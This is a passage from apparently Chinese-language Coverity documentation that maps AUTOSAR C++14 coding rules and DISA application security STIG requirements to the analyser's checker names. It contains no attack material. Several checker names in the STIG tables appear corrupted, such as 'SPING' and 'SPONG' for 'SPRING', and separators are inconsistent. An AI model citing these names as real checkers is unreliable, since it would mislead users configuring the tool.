M6-5-2	如果循环计数器未通过 -- 或 ++ 修饰，则在条件中，只应将循环计数器用作 <=、<、> 或 >= 的操作数。	AUTOSAR C++14 M6-5-2
M6-5-3	不应在条件或语句中修改循环计数器。	AUTOSAR C++14 M6-5-3
M6-5-4	循环计数器应通过以下其中一项修改：--、++、-=n 或 +=n;，其中 n 在循环持续时间内保持为常量。	AUTOSAR C++14 M6-5-4
M6-5-5	除循环计数器以外的循环控制变量不应在条件或表达式内进行修改。	AUTOSAR C++14 M6-5-5
M6-5-6	在语句中修改的除循环计数器之外的循环控制变量应具有类型 bool。	AUTOSAR C++14 M6-5-6

## AUTOSAR C++14 标准

---

名称	说明	Coverity 检查器
M6-6-1	goto 语句引用的任何标签都应在同一代码块或包括该 goto 语句的代码块中声明。	AUTOSAR C++14 M6-6-1
M6-6-2	goto 语句应跳转到在同一函数主体后半部分中声明的标签。	AUTOSAR C++14 M6-6-2
M6-6-3	不应在循环语法中使用 continue 语句。	AUTOSAR C++14 M6-6-3
M7-1-2	如果函数参数是不能修改的对象，应该在函数中将相对应的参数的指针或引用声明为 const 指针或 const 引用。	AUTOSAR C++14 M7-1-2
M7-3-1	全局命名空间只应包含 main、命名空间声明和 extern“C”声明。	AUTOSAR C++14 M7-3-1
M7-3-2	标识符 main 不应用于除全局函数 main 之外的函数。	AUTOSAR C++14 M7-3-2
M7-3-3	头文件中不应存在未命名的命名空间。	AUTOSAR C++14 M7-3-3
M7-3-4	不应使用 using 指令。	AUTOSAR C++14 M7-3-4
M7-3-6	不应在头文件中使用 using 指令或 using 声明（不包括 using 声明中的类范围或函数范围）。	AUTOSAR C++14 M7-3-6
M7-4-2	汇编程序说明只应使用 asm 声明引入。	AUTOSAR C++14 M7-4-2
M7-4-3	应该独立封装汇编语言。	AUTOSAR C++14 M7-4-3
M7-5-1	函数不应返回在函数内定义的自动变量（包括参数）的引用或指针。	AUTOSAR C++14 M7-5-1
M7-5-2	在第一个对象消失后不应将自动存储对象的地址赋值给另一个可能仍然存在的对象。	AUTOSAR C++14 M7-5-2
M8-0-1	init-declarator-list 或 member-declarator-list 应该分别包括一个 init-declarator 或 member-declarator。	AUTOSAR C++14 M8-0-1
M8-3-1	覆盖虚函数中的参数应使用与其覆盖的函数相同的默认参数，否则不应指定任何默认参数。	AUTOSAR C++14 M8-3-1
M8-4-2	用于函数的重新声明中的参数的标识符应与声明中的标识符相同。	AUTOSAR C++14 M8-4-2
M8-4-4	函数标识符应该只用于函数调用，或者在其前使用 & 前缀。	AUTOSAR C++14 M8-4-4

名称	说明	Coverity 检查器
M8-5-2	在数组和结构的非零初始化中，应使用大括号指示和匹配结构。	AUTOSAR C++14 M8-5-2
M9-3-1	常量成员函数不应返回类数据的非常量指针或引用。	AUTOSAR C++14 M9-3-1
M9-3-3	如果成员函数可以是静态，则它应该是静态，另外如果它可以是 const，则它应该是 const。	AUTOSAR C++14 M9-3-3
M9-6-4	已命名带符号整数类型的位域的长度应超过一位。	AUTOSAR C++14 M9-6-4
M10-1-1	不应该通过虚基类来继承类。	AUTOSAR C++14 M10-1-1
M10-1-2	如果将基类用于菱形层次架构中，则只应将其声明为虚基类。	AUTOSAR C++14 M10-1-2
M10-1-3	可访问基类在同一层次架构中不能同时为虚基类和非虚基类。	AUTOSAR C++14 M10-1-3
M10-2-1	多继承层次架构中的所有可访问实体名称都应该唯一。	AUTOSAR C++14 M10-2-1
M10-3-3	如果虚函数被声明为纯虚函数，则该虚函数只应被纯虚函数覆盖。	AUTOSAR C++14 M10-3-3
M11-0-1	非 POD 类型中的成员数据应该是私有的。	AUTOSAR C++14 M11-0-1
M12-1-1	对象的动态类型不应在其构造函数或析构函数的主体中使用。	AUTOSAR C++14 M12-1-1
M14-5-3	当存在具有类属参数的模板赋值运算符时，应声明复制赋值运算符。	AUTOSAR C++14 M14-5-3
M14-6-1	在具有从属基类的类模板中，在该从属基类中可能找到的任何名称应使用 qualified-id 或 this-> 引用。	AUTOSAR C++14 M14-6-1
M15-0-3	不应使用 goto 或 switch 语句将控制转化为 try 或 catch 块。	AUTOSAR C++14 M15-0-3
M15-1-1	throw 语句的赋值表达式本身不应导致抛出异常。	AUTOSAR C++14 M15-1-1
M15-1-2	不应显式抛出 NULL。	AUTOSAR C++14 M15-1-2
M15-1-3	空 throw (throw;) 只应用于 catch 处理程序的复合语句。	AUTOSAR C++14 M15-1-3
M15-3-1	只应在启动之后并且在终止之前报告异常。	AUTOSAR C++14 M15-3-1
M15-3-3	类构造函数或析构函数的 function-try-block 实现的处理程序不应引用此类或其基类的非静态成员。	AUTOSAR C++14 M15-3-3

名称	说明	Coverity 检查器
M15-3-4	代码中显式抛出的每个异常在所有可能导致该异常的调用路径中都应具有兼容类型的处理程序。	AUTOSAR C++14 M15-3-4
M15-3-6	当在针对继承类及其部分或全部基类的单个 try-catch 语句或 function-try-block 中提供多个处理程序时，应按从最上层继承类到基类的顺序排列这些处理程序。	AUTOSAR C++14 M15-3-6
M15-3-7	当在单个 try-catch 语句或 function-try-block 中提供多个处理程序时，所有 ellipsis (catch-all) 处理程序都应最后发生。	AUTOSAR C++14 M15-3-7
M16-0-1	文件中的 #include 指令之前只能包含其他预处理器指令或注释。	AUTOSAR C++14 M16-0-1
M16-0-2	在全局命名空间中，只应使用 #define 或 #undef 定义或取消定义宏。	AUTOSAR C++14 M16-0-2
M16-0-5	类似于函数的宏的参数不应包含看起来像是预处理指令的标识符。	AUTOSAR C++14 M16-0-5
M16-0-6	在类似于函数的宏的定义中，参数的每个实例都应使用圆括号括起，除非它被用作 # 或 ## 的操作数。	AUTOSAR C++14 M16-0-6
M16-0-7	不应将未定义的宏标识符用于 #if 或 #elif 预处理器指令，除非作为定义的运算符的操作数。	AUTOSAR C++14 M16-0-7
M16-0-8	如果 # 标识符在行中显示为第一个标识符，则其后应紧接预处理标识符。	AUTOSAR C++14 M16-0-8
M16-1-1	定义的预处理器运算符只能采用两种标准形式中的一种。	AUTOSAR C++14 M16-1-1
M16-1-2	所有 #else、#elif 和 #endif 预处理器指令都应和相关的 #if 或 #ifdef 指令处在同一文件中。	AUTOSAR C++14 M16-1-2
M16-2-3	应提供包含保护。	AUTOSAR C++14 M16-2-3
M16-3-1	在单个宏定义中，# 或 ## 运算符最多只应出现一次。	AUTOSAR C++14 M16-3-1
M16-3-2	不应使用 # 和 ## 运算符。	AUTOSAR C++14 M16-3-2
M17-0-2	标准库宏和对象的名称不应再次使用。	AUTOSAR C++14 M17-0-2
M17-0-3	不应覆盖标准库函数的名称。	AUTOSAR C++14 M17-0-3

## AUTOSAR C++14 标准

---

名称	说明	Coverity 检查器
M17-0-5	不应使用 setjmp 宏和 longjmp 函数。	AUTOSAR C++14 M17-0-5
M18-0-3	不应使用来自库 <cstdlib> 中的库函数 abort、exit、getenv 和 system。	AUTOSAR C++14 M18-0-3
M18-0-4	不应使用库 <ctime> 的时间处理函数。	AUTOSAR C++14 M18-0-4
M18-0-5	不应使用库 <cstring> 的无边界函数。	AUTOSAR C++14 M18-0-5
M18-2-1	不应使用宏 offsetof。	AUTOSAR C++14 M18-2-1
M18-7-1	不应使用 <csignal> 的信号处理设施。	AUTOSAR C++14 M18-7-1
M19-3-1	不应使用错误指示器 errno。	AUTOSAR C++14 M19-3-1
M27-0-1	不应使用数据流输入/输出库 <cstdio>。	AUTOSAR C++14 M27-0-1

---

## Appendix B. DISA 应用程序安全和开发 STIG 标准

### Table of Contents

B.1. 概述 .....	1006
---------------	------

#### B.1. 概述

Coverity Analysis 能够标识违反标准“DISA 应用程序安全和开发 STIG”版本 4 发行版 3 至 11 所定义的规则。这些规则在下面的表格中列出。

##### B.1.1. DISA STIG 覆盖率

Table B.1. DISA STIG 覆盖率

名称	说明	Coverity 检查器
APSC-DV-000060	当会话终止时，应用程序必须清除临时存储和Cookie。	AWS_SSL_DISABLED CONFIG_SPRING_BOOT_SSL_DISABLED CONFIG_SPRING_SECURITY_EXPOSED_SESSIONID CONFIG_SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG_SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-000170	应用程序必须实施加密机制，以保护远程访问会话的完整性。	CONFIG_SPRING_SECURITY_WEAK_PASSWORD_HASH INSECURE_SALT RAILS_DEVISE_CONFIG RISKY_CRYPTO SA.RISKY_CRYPTO WEAK_PASSWORD_HASH
APSC-DV-000500	应用程序必须防止非特权用户执行特权功能，包括禁用、规避或更改已实现的安全保障/反措施。	CONFIG_JAVAEE_MISSING_SERVLET_MAPPING CONFIG_MISSING_JS2_SECURITY_CONSTRAINT CONFIG_MYBATIS_MAPPER_SQLI CONFIG_SPRING_SECURITY_DISABLE_AUTH_TAGS

名称	说明	Coverity 检查器
		CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN INSECURE_DIRECT_OBJECT_REFERENCE JSP_SQL_INJECTION OPENAPI.MISSING_AUTHZ PMD.ApexSharingViolations RAILS_DEFAULT_ROUTES RAILS_MISSING_FILTER_ACTION SQLI SQL_NOT_CONSTANT
APSC-DV-000510	应用程序必须在没有过多帐户权限的情况下执行。	
APSC-DV-000530	应用程序必须强制实施用户在 15 分钟内连续三次无效登录尝试的限制。	OPENAPI.MISSING_RATE_LIMITING RAILS_DEVISE_CONFIG
APSC-DV-000580	应用程序必须显示用户上次成功登录的时间和日期。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000590	应用程序必须防止个人（或代表个人行事的程序）虚假地否认执行了组织定义的不可否认的操作。	OPENAPI.INSECURE_PASSWORD_CHANGE
APSC-DV-000650	应用程序不得将敏感数据写入应用程序日志。	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.CORDOVA_EXCESSIVE_LOGGING CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SENSITIVE_LOGGING CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING EXPRESS_WINSTON_SENSITIVE_LOGGING EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY REVERSE_TABNABBING SECURE_TEMP

名称	说明	Coverity 检查器
		SENSITIVE_DATA_LEAK UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-000670	应用程序必须记录一个时间戳，指示事件发生的时间。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000700	应用程序必须记录与事件相关的用户的用户名或用户 ID。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000940	应用程序必须记录应用程序关闭事件。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000950	应用程序必须记录目标 IP 地址。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000960	应用程序必须记录涉及访问数据的用户操作。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-000970	应用程序必须记录涉及更改数据的用户操作。	INSUFFICIENT_LOGGING UNLOGGED_SECURITY_EXCEPTION
APSC-DV-001120	在审计失败时，应用程序必须在默认情况下关闭（除非可用性是最重要的问题）。	
APSC-DV-001280	应用程序必须保护审计信息免受任何类型的未经授权的读取访问。	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY LOCALSTORAGE_WRITE REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA

名称	说明	Coverity 检查器
		UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001290	应用程序必须保护审计信息不受未经授权的修改。	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY LOCALSTORAGE_WRITE REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001300	应用程序必须保护审计信息不受未经授权的删除。	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION

名称	说明	Coverity 检查器
		HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERRER_POLICY LOCALSTORAGE_WRITE REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA UNRESTRICTED_ACCESS_TO_FILE UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001350	应用程序必须使用加密机制，以保护审计信息的完整性。	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.ATS_INSECURE CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPING_BOOT_SSL_DISABLED CONFIG.SPING_SECURITY_EXPOSED_SESSIONID CONFIG.SPING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HAPI_SESSION_MONGO_MISSING_TLS HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_COOKIE INSECURE_MULTIPEER_CONNECTION INSECURE_NETWORK_BIND INSECURE_REFERRER_POLICY INSECURE_REMEMBER_ME_COOKIE

DISA 应用程序安全和开发 STIG 标准

---

名称	说明	Coverity 检查器
		OPENAPI.MISSING_TLS PMD.ApexInsecureEndpoint REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD UNSAFE_SESSION_SETTING VERBOSE_ERROR_REPORTING
APSC-DV-001360	应用程序审计工具必须以加密方式 hash。	CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH INSECURE_SALT RISKY_CRYPTO SA.RISKY_CRYPTO WEAK_PASSWORD_HASH
APSC-DV-001370	审计工具必须通过检查文件的加密 hash 值的变化来验证完整性。	CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH INSECURE_SALT RISKY_CRYPTO SA.RISKY_CRYPTO WEAK_PASSWORD_HASH
APSC-DV-001390	应用程序必须禁止用户安装没有显式特权状态的软件。	
APSC-DV-001550	对于对特权帐户的本地访问，应用程序必须使用多因素 (Alt. 令牌) 身份验证。	
APSC-DV-001580	对于对非特权帐户的本地访问，应用程序必须使用多因素 (例如，CAC、Alt. 令牌) 身份验证。	
APSC-DV-001590	对于对特权帐户的本地访问，应用程序必须使用多因素 (Alt. 令牌) 身份验证。	
APSC-DV-001600	对于对非特权帐户的本地访问，应用程序必须使用多因素 (例如，CAC、Alt. 令牌) 身份验证。	
APSC-DV-001620	对于对特权帐户的网络访问，应用程序必须实施抗重放身份验证机制。	
APSC-DV-001630	对于对非特权帐户的网络访问，应用程序必须实施抗重放身份验证机制。	

名称	说明	Coverity 检查器
APSC-DV-001650	应用程序必须在建立任何连接之前对所有网络连接的端点设备进行身份验证。	ANONYMOUS_DB_CONNECTION ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CONFIG.WEAK_SECURITY_CONSTRAINT CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERRER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SECURE_TEMP SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING WEAK_GUARD WEAK_URL_SANITIZATION
APSC-DV-001660	处理不可释放数据的面向服务应用程序必须通过相互 SSL/TLS 对端点设备进行身份验证。	ANONYMOUS_DB_CONNECTION ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.ATS_INSECURE CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED

名称	说明	Coverity 检查器
		CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HAPI_SESSION_MONGO_MISSING_TLS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_MULTIPEER_CONNECTION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ OPENAPI.MISSING_TLS PMD.ApexInsecureEndpoint REVERSE_TABNABBING RISKY_CRYPTO SA.RISKY_CRYPTO SECURE_TEMP SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY TEMPORARY_CREDENTIALS_DURATION UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001680	应用程序必须强制实施至少 15 个字符的密码长度。	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001690	应用程序必须通过要求至少使用一个大写字符来强制实施密码复杂性。	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG

名称	说明	Coverity 检查器
		WEAK_BIOMETRIC_AUTH
APSC-DV-001700	应用程序必须通过要求至少使用一个小写字符来强制实施密码复杂性。	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001710	应用程序必须通过要求至少使用一个数字字符来强制实施密码复杂性。	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001720	应用程序必须通过要求至少使用一个特殊字符来强制实施密码复杂性。	CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED HOST_HEADER_VALIDATION_DISABLED MISSING_PASSWORD_VALIDATOR RAILS_DEVISE_CONFIG WEAK_BIOMETRIC_AUTH
APSC-DV-001740	应用程序必须仅存储密码的加密表示。	AWS_SSL_DISABLED CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPRING_BOOT_SSL_DISABLED CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY INSECURE_SALT PMD.ApexSuggestUsingNamedCred RAILS_DEVISE_CONFIG REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK UNENCRYPTED_SENSITIVE_DATA

名称	说明	Coverity 检查器
		UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING WEAK_PASSWORD_HASH
APSC-DV-001750	应用程序必须仅传输以加密方式保护的密码。	ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED CONFIG.ATS_INSECURE CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPONG_BOOT_SSL_DISABLED CONFIG.SPONG_SECURITY_EXPOSED_SESSIONID CONFIG.SPONG_SECURITY_LOGIN_OVER_HTTP CONFIG.SPONG_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT DISABLED_ENCRYPTION EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_MULTIPEER_CONNECTION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK STRICT_TRANSPORT_SECURITY UNENCRYPTED_SENSITIVE_DATA UNSAFE_BASIC_AUTH UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001770	应用程序必须强制实施 60 天最大密码生存期限制。	RAILS_DEVISE_CONFIG
APSC-DV-001795	除管理员或与密码相关联的用户外，其他用户不得更改应用程序密码。	CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPONG_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPONG_SECURITY_REMEMBER_ME_HARDCODED_KEY FB.DMI_CONSTANT_DB_PASSWORD FB.DMI_EMPTY_DB_PASSWORD HARDCODED_CREDENTIALS OPENAPI.INSECURE_PASSWORD_CHANGE

名称	说明	Coverity 检查器
		PMD.ApexBadCrypto PMD.ApexSuggestUsingNamedCred UNSAFE_BASIC_AUTH UNSAFE_SESSION_SETTING
APSC-DV-001810	应用程序在使用基于 PKI 的身份验证时，必须通过将认证路径（包括状态信息）构造到可接受的信任定位标记来验证证书。	ANONYMOUS_DB_CONNECTION ASPNET_MVC_VERSION_HEADER AWS_SSL_DISABLED AWS_VALIDATION_DISABLED BAD_CERT_VERIFICATION CONFIG.COOKIE_SIGNING_DISABLED CONFIG.MYSQL_SSL_VERIFY_DISABLED CONFIG.REQUEST_STRICTSSL_DISABLED CONFIG.SEQUELIZE_ENABLED_LOGGING CONFIG.SEQUELIZE_INSECURE_CONNECTION CONFIG.SPONG_BOOT_SSL_DISABLED CONFIG.SPONG_SECURITY_EXPOSED_SESSIONID CONFIG.SPONG_SECURITY_LOGIN_OVER_HTTP CONFIG.SPONG_SECURITY_UNSAFE_AUTHENTICATION_FILTER CONFIG.UNSAFE_SESSION_TIMEOUT CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS CORS_MISCONFIGURATION CORS_MISCONFIGURATION_AUDIT EXPOSED_DIRECTORY_LISTING EXPRESS_X_POWERED_BY_ENABLED HPKP_MISCONFIGURATION INSECURE_ACL INSECURE_COMMUNICATION INSECURE_NETWORK_BIND INSECURE_REFERER_POLICY INSUFFICIENT_PRESIGNED_URL_TIMEOUT MISSING_AUTHZ REVERSE_TABNABBING SECURE_TEMP SENSITIVE_DATA_LEAK TEMPORARY_CREDENTIALS_DURATION UNSAFE_BUFFER_METHOD VERBOSE_ERROR_REPORTING
APSC-DV-001820	应用程序在使用基于 PKI 的身份验证时，必须对相应的私钥强制实施授权访问。	CONFIG.CONNECTION_STRING_PASSWORD CONFIG.HARDCODED_CREDENTIALS_AUDIT CONFIG.HARDCODED_TOKEN CONFIG.SPONG_SECURITY_HARDCODED_CREDENTIALS CONFIG.SPONG_SECURITY_REMEMBER_ME_HARDCODED_KEY HARDCODED_CREDENTIALS PMD.ApexBadCrypto UNSAFE_SESSION_SETTING

名称	说明	Coverity 检查器
APSC-DV-001830	对于基于 PKI 的身份验证，应用程序必须将认证的身份映射到单个用户或组帐户。	BAD_CERT_VERIFICATION
APSC-DV-001840	对于基于 PKI 的身份验证，应用程序必须实施撤销数据的本地缓存，以支持路径发现和验证，以防无法通过网络访问撤销信息。	BAD_CERT_VERIFICATION
APSC-DV-001850	应用程序不得将密码/PIN 显示为明文。	
APSC-DV-001970	在建立非本地维护和诊断会话时，应用程序必须使用强大的身份验证器。	
